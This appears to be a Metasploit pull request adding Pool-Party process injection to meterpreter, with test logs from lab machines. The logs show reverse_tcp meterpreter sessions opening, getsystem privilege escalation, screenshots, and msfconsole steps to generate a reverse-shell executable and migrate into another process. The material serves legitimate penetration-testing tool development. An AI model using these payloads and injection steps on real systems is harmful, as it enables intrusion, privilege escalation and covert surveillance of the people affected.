msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 3...
meterpreter > sysinfo
Computer : WIN11_23H2_8EA9
OS : Windows 11 (10.0 Build 22631).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: WIN11_23H2_8EA9\msfuser
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > screenshot
Screenshot saved to: /home/tmoose/rapid7/metasploit-framework/YuLZRCUy.jpeg
meterpreter >
Log:
Windows 7 falls back seamlessly:
msf6 payload(windows/x64/meterpreter/reverse_tcp) > WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/metsrv.x64.debug.dll is being used
[*] Sending stage (285774 bytes) to 10.5.132.161
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.debug.dll is being used
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_priv.x64.debug.dll is being used
[*] Meterpreter session 4 opened (10.5.135.201:4585 -> 10.5.132.161:49165) at 2024-10-29 16:41:06 -0500
msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 4...
meterpreter > sysinfo
Computer : WIN7X64-SP1
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > screenshot
Screenshot saved to: /home/tmoose/rapid7/metasploit-framework/IvoxODfI.jpeg
meterpreter >
This PR improves the
base_inject.c
to support a new injection using the Pool-Party Injection.What is present in this PR
x64 -> x64
injectionx86 -> x86
Injectionwow64 -> x64
Injectionx64 -> wow64
Injectionwow64 -> wow64
Variants supported
tp_direct_insertion
tp_wait_insertion
worker_factory_overwrite
Verification DLL Injection
The function
dll_injection
has been modified to use the poolparty when possible so is transparent to the user and "Just Works (TM)"Verification Migration
~Make sure you have this fix~
metasploit-framework/data/meterpreter
msfconsole
use payloads/windows/x64/meterpreter/reverse_tcp
set MeterpreterDebugBuild true
set MeterpreterDebugLogging rpath:C:/Windows/Temp/foo.txt
generate -f exe -o ../shell.exe
C:/Windows/Temp/foo.txt
migrate <note pad>
[*] Migration completed successfully.
you successful migrate using pool partyinject_via_poolparty
will log if the injection was succesful and what variant was used (for now we have one)